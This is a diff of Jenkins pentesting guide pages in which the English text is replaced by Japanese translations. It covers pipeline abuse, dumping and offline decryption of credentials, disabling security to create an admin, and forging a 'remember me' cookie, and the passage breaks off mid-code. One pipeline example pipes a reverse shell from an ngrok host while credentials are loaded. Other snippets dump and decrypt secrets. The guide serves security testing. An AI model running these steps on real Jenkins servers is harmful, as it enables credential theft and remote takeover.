{{#ref}} jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## Pipeline Exploitation +## パイプラインの悪用 -To exploit pipelines you still need to have access to Jenkins. +パイプラインを悪用するには、Jenkinsへのアクセスが必要です。 -### Build Pipelines +### ビルドパイプライン -**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used: +**パイプライン**は**プロジェクトのビルドメカニズム**としても使用でき、その場合、パイプライン構文を含む**リポジトリ内のファイル**を設定できます。デフォルトでは`/Jenkinsfile`が使用されます: ![](<../../images/image (127).png>) -It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access. +他の場所（例えば他のリポジトリ）にパイプライン構成ファイルを**保存することも可能**で、リポジトリの**アクセス**とパイプラインのアクセスを**分離する**ことを目的としています。 -If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\ -It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not). +攻撃者がそのファイルに**書き込みアクセスを持っている場合**、彼はそれを**変更**し、Jenkinsにアクセスすることなく**パイプラインをトリガーする**ことができるでしょう。\ +攻撃者は**いくつかのブランチ保護を回避する必要があるかもしれません**（プラットフォームやユーザー権限によっては回避できる場合もあります）。 -The most common triggers to execute a custom pipeline are: +カスタムパイプラインを実行するための最も一般的なトリガーは次のとおりです: -- **Pull request** to the main branch (or potentially to other branches) -- **Push to the main branch** (or potentially to other branches) -- **Update the main branch** and wait until it's executed somehow +- **メインブランチへのプルリクエスト**（または他のブランチへのプルリクエスト） +- **メインブランチへのプッシュ**（または他のブランチへのプッシュ） +- **メインブランチの更新**を行い、何らかの方法で実行されるのを待つ > [!NOTE] -> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**. +> あなたが**外部ユーザー**である場合、**他のユーザー/組織のリポジトリのメインブランチにPRを作成し、パイプラインをトリガーする**ことを期待すべきではありません...しかし、**不適切に設定されている**場合、あなたはこの方法で企業を完全に**侵害する**ことができるかもしれません。 -### Pipeline RCE +### パイプラインRCE -In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](./#rce-creating-modifying-pipeline). +前のRCEセクションでは、[**パイプラインを変更することでRCEを取得する技術**](./#rce-creating-modifying-pipeline)がすでに示されています。 -### Checking Env variables - -It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles: +### 環境変数の確認 +**平文の環境変数**をパイプライン全体または特定のステージのために宣言することが可能です。これらの環境変数は**機密情報を含むべきではありません**が、攻撃者は常に**すべてのパイプライン**の構成/Jenkinsfileを**確認する**ことができます: ```bash pipeline { - agent {label 'built-in'} - environment { - GENERIC_ENV_VAR = "Test pipeline ENV variables." - } +agent {label 'built-in'} +environment { +GENERIC_ENV_VAR = "Test pipeline ENV variables." +} - stages { - stage("Build") { - environment { - STAGE_ENV_VAR = "Test stage ENV variables." - } - steps { +stages { +stage("Build") { +environment { +STAGE_ENV_VAR = "Test stage ENV variables." +} +steps { ``` +### 秘密のダンプ -### Dumping secrets - -For information about how are secrets usually treated by Jenkins check out the basic information: +Jenkinsが秘密を通常どのように扱うかについての情報は、基本情報を確認してください： {{#ref}} basic-jenkins-information.md {{#endref}} -Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job//configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines. - -There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**: +資格情報は**グローバルプロバイダー**（`/credentials/`）または**特定のプロジェクト**（`/job//configure`）に**スコープ**できます。したがって、すべての秘密を抽出するには、**秘密を含むすべてのプロジェクトを少なくとも侵害する**必要があり、カスタム/毒入りパイプラインを実行する必要があります。 +もう一つの問題は、パイプラインの**env内の秘密を取得するためには、**秘密の**名前とタイプを知っている必要がある**ことです。たとえば、**`usernamePassword`** **秘密**を**`string`** **秘密**として**ロード**しようとすると、この**エラー**が発生します： ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` - -Here you have the way to load some common secret types: - +ここでは、一般的な秘密の種類をロードする方法を示します： ```bash withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) { - sh ''' - env #Search for USERNAME and PASS - ''' +sh ''' +env #Search for USERNAME and PASS +''' } withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) { - sh ''' - env #Search for SECRET - ''' +sh ''' +env #Search for SECRET +''' } withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) { - sh ''' - env # Search for USERPASS - ''' +sh ''' +env # Search for USERPASS +''' } # You can also load multiple env variables at once withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), - string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { - sh ''' - env - ''' +string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { +sh ''' +env +''' } ``` - -At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) +このページの最後で、**すべての認証情報の種類**を**見つけることができます**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] -> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\ -> More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation). +> **すべての秘密を一度にダンプする**最良の方法は、**Jenkins**マシンを**侵害する**ことです（例えば、**組み込みノード**でリバースシェルを実行する）そして、**マスターキー**と**暗号化された秘密**を**漏洩**させ、それらをオフラインで復号化します。\ +> これを行う方法については、[ノードとエージェントのセクション](./#nodes-and-agents)および[ポストエクスプロイテーションのセクション](./#post-exploitation)を参照してください。 -### Triggers +### トリガー -From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`. - -Cron example: +[ドキュメント](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers)から: `triggers`ディレクティブは、**パイプラインが再トリガーされる自動化された方法**を定義します。GitHubやBitBucketなどのソースと統合されたパイプラインの場合、`triggers`は必要ないかもしれません。なぜなら、ウェブフックベースの統合がすでに存在する可能性が高いからです。現在利用可能なトリガーは、`cron`、`pollSCM`、および`upstream`です。 +Cronの例: ```bash triggers { cron('H */4 * * 1-5') } ``` +他の例は**ドキュメント**で確認してください。 -Check **other examples in the docs**. +### ノードとエージェント -### Nodes & Agents +**Jenkinsインスタンス**は**異なるマシンで異なるエージェントが実行されている**可能性があります。攻撃者の視点から見ると、異なるマシンへのアクセスは**異なる潜在的なクラウド資格情報**を盗むことや、**他のマシンを悪用するための異なるネットワークアクセス**を意味します。 -A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines. - -For more information check the basic information: +詳細については基本情報を確認してください： {{#ref}} basic-jenkins-information.md {{#endref}} -You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more: +`/computer/`で**構成されたノード**を列挙できます。通常、**`Built-In Node`**（Jenkinsを実行しているノード）と、潜在的に他のノードが見つかります： ![](<../../images/image (249).png>) -It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information. - -To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config: +**Built-Inノードを妥協することは特に興味深い**です。なぜなら、それには機密のJenkins情報が含まれているからです。 +**ビルトインJenkinsノード**で**パイプライン**を**実行**したいことを示すために、パイプライン内で次の設定を指定できます： ```bash pipeline { - agent {label 'built-in'} +agent {label 'built-in'} ``` +### 完全な例 -### Complete example - -Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell: - +特定のエージェントでのパイプライン、cronトリガー付き、パイプラインおよびステージ環境変数、ステップで2つの変数を読み込み、リバースシェルを送信する: ```bash pipeline { - agent {label 'built-in'} - triggers { cron('H */4 * * 1-5') } - environment { - GENERIC_ENV_VAR = "Test pipeline ENV variables." - } +agent {label 'built-in'} +triggers { cron('H */4 * * 1-5') } +environment { +GENERIC_ENV_VAR = "Test pipeline ENV variables." +} - stages { - stage("Build") { - environment { - STAGE_ENV_VAR = "Test stage ENV variables." - } - steps { - withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), - string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { - sh ''' - curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS - ''' - } - } - } +stages { +stage("Build") { +environment { +STAGE_ENV_VAR = "Test stage ENV variables." +} +steps { +withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), +string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { +sh ''' +curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS +''' +} +} +} - post { - always { - cleanWs() - } - } +post { +always { +cleanWs() +} +} } ``` - -## Arbitrary File Read to RCE +## 任意ファイル読み取りからRCE {{#ref}} jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -326,19 +306,17 @@ jenkins-rce-creating-modifying-project.md jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## Post Exploitation +## ポストエクスプロイテーション ### Metasploit - ``` msf> post/multi/gather/jenkins_gather ``` - ### Jenkins Secrets -You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**. +`/credentials/` にアクセスすることで、十分な権限があればシークレットをリストできます。これは `credentials.xml` ファイル内のシークレットのみをリストしますが、**ビルド構成ファイル**にも **さらに多くの資格情報**が含まれている可能性があります。 -If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**. +**各プロジェクトの構成を表示できる**場合、リポジトリにアクセスするために使用されている **資格情報（シークレット）の名前**や **プロジェクトの他の資格情報**もそこに表示されます。 ![](<../../images/image (180).png>) @@ -350,19 +328,18 @@ jenkins-dumping-secrets-from-groovy.md #### From disk -These files are needed to **decrypt Jenkins secrets**: +これらのファイルは **Jenkinsシークレットを復号化するために必要です**： - secrets/master.key - secrets/hudson.util.Secret -Such **secrets can usually be found in**: +そのような **シークレットは通常次の場所にあります**： - credentials.xml - jobs/.../build.xml - jobs/.../config.xml -Here's a regex to find them: - +これらを見つけるための正規表現は次のとおりです： ```bash # Find the secrets grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" @@ -372,11 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Secret example credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==} ``` +#### Jenkinsの秘密をオフラインで復号化する -#### Decrypt Jenkins secrets offline - -If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**. - +**秘密を復号化するために必要なパスワードをダンプした場合**、[**このスクリプト**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **を使用してそれらの秘密を復号化します**。 ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 @@ -384,23 +359,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT ``` - -#### Decrypt Jenkins secrets from Groovy - +#### GroovyからJenkinsの秘密を復号化する ```bash println(hudson.util.Secret.decrypt("{...}")) ``` +### 新しい管理者ユーザーを作成する -### Create new admin user +1. `/var/lib/jenkins/config.xml` または `C:\Program Files (x86)\Jenkis\` にある Jenkins config.xml ファイルにアクセスします。 +2. `true`という単語を検索し、**`true`**を**`false`**に変更します。 +1. `sed -i -e 's/truefalsetrue` に変更して、**再度セキュリティを有効にし**、**Jenkins を再起動**します。 -1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\` -2. Search for the word `true`and change the word \*\*`true` \*\* to **`false`**. - 1. `sed -i -e 's/truefalsetrue` and **restart the Jenkins again**. - -## References +## 参考文献 - [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins) - [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/) @@ -410,7 +382,3 @@ println(hudson.util.Secret.decrypt("{...}")) - [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md index 6e62a8536..c27a06f54 100644 --- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md +++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md @@ -6,48 +6,48 @@ ### Username + Password -The most common way to login in Jenkins if with a username or a password +Jenkinsにログインする最も一般的な方法は、ユーザー名またはパスワードです。 ### Cookie -If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen). +**認可されたクッキーが盗まれた場合**、それを使用してユーザーのセッションにアクセスできます。クッキーは通常`JSESSIONID.*`と呼ばれます。（ユーザーはすべてのセッションを終了できますが、最初にクッキーが盗まれたことを知る必要があります）。 ### SSO/Plugins -Jenkins can be configured using plugins to be **accessible via third party SSO**. +Jenkinsはプラグインを使用して**サードパーティのSSO経由でアクセス可能**に構成できます。 ### Tokens -**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API. +**ユーザーはトークンを生成して**、CLIまたはREST APIを介してアプリケーションに自分を偽装させることができます。 ### SSH Keys -This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/)) +このコンポーネントはJenkins用の組み込みSSHサーバーを提供します。これは[Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/)の代替インターフェースであり、任意のSSHクライアントを使用してこの方法でコマンドを呼び出すことができます。（[docs](https://plugins.jenkins.io/sshd/)から） ## Authorization -In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options: +`/configureSecurity`では、Jenkinsの**認可方法を構成**できます。いくつかのオプションがあります： -- **Anyone can do anything**: Even anonymous access can administrate the server -- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access. -- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**. -- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**. +- **誰でも何でもできる**：匿名アクセスでもサーバーを管理できます。 +- **レガシーモード**：Jenkins <1.164と同じです。**「admin」役割**を持っている場合、システムに対して**完全な制御**が与えられ、**それ以外**（**匿名**ユーザーを含む）は**読み取り**アクセスのみが与えられます。 +- **ログインしたユーザーは何でもできる**：このモードでは、すべての**ログインしたユーザーがJenkinsの完全な制御を得ます**。完全な制御を持たない唯一のユーザーは**匿名ユーザー**で、**読み取りアクセス**のみが与えられます。 +- **マトリックスベースのセキュリティ**：**誰が何をできるか**を表で構成できます。各**列**は**権限**を表し、各**行**は**ユーザーまたはグループ/役割**を表します。これには、**未認証ユーザー**を表す特別なユーザー「**anonymous**」や、**すべての認証済みユーザー**を表す「**authenticated**」が含まれます。 ![](<../../images/image (149).png>) -- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.** -- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`. +- **プロジェクトベースのマトリックス認可戦略**：このモードは、**各プロジェクトごとに追加のACLマトリックスを定義できる**「**マトリックスベースのセキュリティ**」の拡張です。 +- **役割ベースの戦略**：**役割ベースの戦略**を使用して認可を定義できます。`/role-strategy`で役割を管理します。 ## **Security Realm** -In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms: +`/configureSecurity`では、**セキュリティレルムを構成**できます。デフォルトでは、Jenkinsはいくつかの異なるセキュリティレルムをサポートしています： -- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/). -- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default. -- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups. -- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization. +- **サーブレットコンテナに委任**：Jenkinsコントローラーを実行しているサーブレットコンテナに**認証を委任**します。たとえば、[Jetty](https://www.eclipse.org/jetty/)などです。 +- **Jenkins独自のユーザーデータベース**：外部システムに委任するのではなく、**Jenkinsの組み込みユーザーデータストア**を使用して認証します。これはデフォルトで有効です。 +- **LDAP**：ユーザーとグループの両方を含む、構成されたLDAPサーバーにすべての認証を委任します。 +- **Unixユーザー/グループデータベース**：Jenkinsコントローラー上の基盤となるUnix OSレベルのユーザーデータベースに**認証を委任**します。このモードでは、認可のためにUnixグループを再利用することも可能です。 -Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as: +プラグインは、Jenkinsを既存のアイデンティティシステムに組み込むのに役立つ追加のセキュリティレルムを提供できます。たとえば： - [Active Directory](https://plugins.jenkins.io/active-directory) - [GitHub Authentication](https://plugins.jenkins.io/github-oauth) @@ -55,31 +55,31 @@ Plugins can provide additional security realms which may be useful for incorpora ## Jenkins Nodes, Agents & Executors -Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/): +[docs](https://www.jenkins.io/doc/book/managing/nodes/)からの定義： -**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold. +**ノード**は、ビルド**エージェントが実行される**マシンです。Jenkinsは、ディスクスペース、空き一時スペース、空きスワップ、時計の時間/同期、応答時間のために各接続ノードを監視します。これらの値のいずれかが構成された閾値を超えると、ノードはオフラインになります。 -**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine. +**エージェント**は、**エグゼキュータを使用して**Jenkinsコントローラーの代理として**タスク実行を管理**します。エージェントはJavaをサポートする任意のオペレーティングシステムを使用できます。ビルドやテストに必要なツールは、エージェントが実行されるノードにインストールされます。これらは**直接インストールするか、コンテナ**（DockerまたはKubernetes）内にインストールできます。各**エージェントは、ホストマシン上で独自のPIDを持つプロセスです**。 -An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time. +**エグゼキュータ**は**タスクの実行スロット**です。実際には、**エージェント内のスレッド**です。ノード上の**エグゼキュータの数**は、そのノードで同時に実行できる**同時タスクの数**を定義します。言い換えれば、これはそのノードで同時に実行できる**同時Pipeline `stages`**の数を決定します。 ## Jenkins Secrets ### Encryption of Secrets and Credentials -Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include: +[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)からの定義：Jenkinsは**AESを使用して秘密情報**、資格情報、およびそれらの暗号化キーを保護します。これらの暗号化キーは、マスターキーと共に`$JENKINS_HOME/secrets/`に保存されます。このディレクトリは、Jenkinsコントローラーが実行されているオペレーティングシステムユーザーのみが読み取りおよび書き込みアクセスを持つように構成する必要があります（つまり、`chmod`値は`0700`または適切なファイル属性を使用）。**マスターキー**（暗号用語で「キー暗号化キー」と呼ばれることもあります）は、**Jenkinsコントローラーのファイルシステムに\_暗号化されていない\_**状態で保存されており、**`$JENKINS_HOME/secrets/master.key`**にあります。これは、そのファイルに直接アクセスできる攻撃者に対して保護されていません。ほとんどのユーザーと開発者は、一般的な秘密データを暗号化するための[Secret](https://javadoc.jenkins.io/byShortName/Secret) APIや資格情報APIを介して、これらの暗号化キーを間接的に使用します。暗号に興味がある方のために、JenkinsはAESを暗号ブロックチェーン（CBC）モードで使用し、PKCS#5パディングとランダムIVを使用して、`$JENKINS_HOME/secrets/`に保存される[CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey)のインスタンスを暗号化します。これらは`CryptoConfidentialKey` IDに対応するファイル名で保存されます。一般的なキーIDには以下が含まれます： -- `hudson.util.Secret`: used for generic secrets; -- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types; -- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and +- `hudson.util.Secret`：一般的な秘密に使用されます； +- `com.cloudbees.plugins.credentials.SecretBytes.KEY`：一部の資格情報タイプに使用されます； +- `jenkins.model.Jenkins.crumbSalt`： [CSRF保護メカニズム](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)によって使用されます； ### Credentials Access -Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job//configure`) and therefore only accessible from the specific project. +資格情報は、**グローバルプロバイダーにスコープを設定**（`/credentials/`）することができ、構成された任意のプロジェクトからアクセスできます。また、**特定のプロジェクト**（`/job//configure`）にスコープを設定することもでき、その場合は特定のプロジェクトからのみアクセス可能です。 -According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials. +[**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/)によると：スコープ内の資格情報は、制限なしにパイプラインに利用可能です。**ビルドログでの偶発的な露出を防ぐために**、資格情報は通常の出力から**マスク**されているため、`env`（Linux）や`set`（Windows）を呼び出したり、環境やパラメータを印刷するプログラムは、資格情報にアクセスできないユーザーに対してビルドログにそれらを**表示しません**。 -**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.** +**そのため、資格情報を外部に持ち出すには、攻撃者は例えば、それらをbase64エンコードする必要があります。** ## References @@ -92,7 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md index 9d2b232e1..9bf184164 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) +このブログ記事では、Jenkinsのローカルファイルインクルージョン脆弱性をRCEに変換する素晴らしい方法を見つけることができます: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) -This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own: +これは、任意のクッキーを作成することがRCEを取得するために悪用される投稿の部分のAIによって作成された要約です。自分自身の要約を作成する時間ができるまでの間です。 ### Attack Prerequisites -- **Feature Requirement:** "Remember me" must be enabled (default setting). -- **Access Levels:** Attacker needs Overall/Read permissions. -- **Secret Access:** Ability to read both binary and textual content from key files. +- **Feature Requirement:** "Remember me"が有効である必要があります（デフォルト設定）。 +- **Access Levels:** 攻撃者はOverall/Read権限が必要です。 +- **Secret Access:** 重要なファイルからバイナリおよびテキストコンテンツを読み取る能力。 ### Detailed Exploitation Process @@ -18,92 +18,88 @@ This is an AI created summary of the part of the post were the creaft of an arbi **User Information Retrieval** -- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather: - - **Username** - - **User seed** - - **Timestamp** - - **Password hash** +- 各ユーザーのために`$JENKINS_HOME/users/*.xml`からユーザー設定と秘密を取得して収集します: +- **Username** +- **User seed** +- **Timestamp** +- **Password hash** **Secret Key Extraction** -- Extract cryptographic keys used for signing the cookie: - - **Secret Key:** `$JENKINS_HOME/secret.key` - - **Master Key:** `$JENKINS_HOME/secrets/master.key` - - **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` +- クッキーの署名に使用される暗号鍵を抽出します: +- **Secret Key:** `$JENKINS_HOME/secret.key` +- **Master Key:** `$JENKINS_HOME/secrets/master.key` +- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` #### Step 2: Cookie Forging **Token Preparation** -- **Calculate Token Expiry Time:** +- **トークンの有効期限を計算:** - ```javascript - tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time - ``` +```javascript +tokenExpiryTime = currentServerTimeInMillis() + 3600000 // 現在の時間に1時間を追加 +``` -- **Concatenate Data for Token:** +- **トークンのためのデータを連結:** - ```javascript - token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey - ``` +```javascript +token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey +``` **MAC Key Decryption** -- **Decrypt MAC Key File:** +- **MACキーのファイルを復号化:** - ```javascript - key = toAes128Key(masterKey) // Convert master key to AES128 key format - decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file - if not decrypted.hasSuffix("::::MAGIC::::") - return ERROR; - macKey = decrypted.withoutSuffix("::::MAGIC::::") - ``` +```javascript +key = toAes128Key(masterKey) // マスターキーをAES128キー形式に変換 +decrypted = AES.decrypt(macFile, key) // .macファイルを復号化 +if not decrypted.hasSuffix("::::MAGIC::::") +return ERROR; +macKey = decrypted.withoutSuffix("::::MAGIC::::") +``` **Signature Computation** -- **Compute HMAC SHA256:** +- **HMAC SHA256を計算:** - ```javascript - mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key - tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string - ``` +```javascript +mac = HmacSHA256(token, macKey) // トークンとMACキーを使用してHMACを計算 +tokenSignature = bytesToHexString(mac) // MACを16進数文字列に変換 +``` **Cookie Encoding** -- **Generate Final Cookie:** +- **最終的なクッキーを生成:** - ```javascript - cookie = base64.encode( - username + ":" + tokenExpiryTime + ":" + tokenSignature - ) // 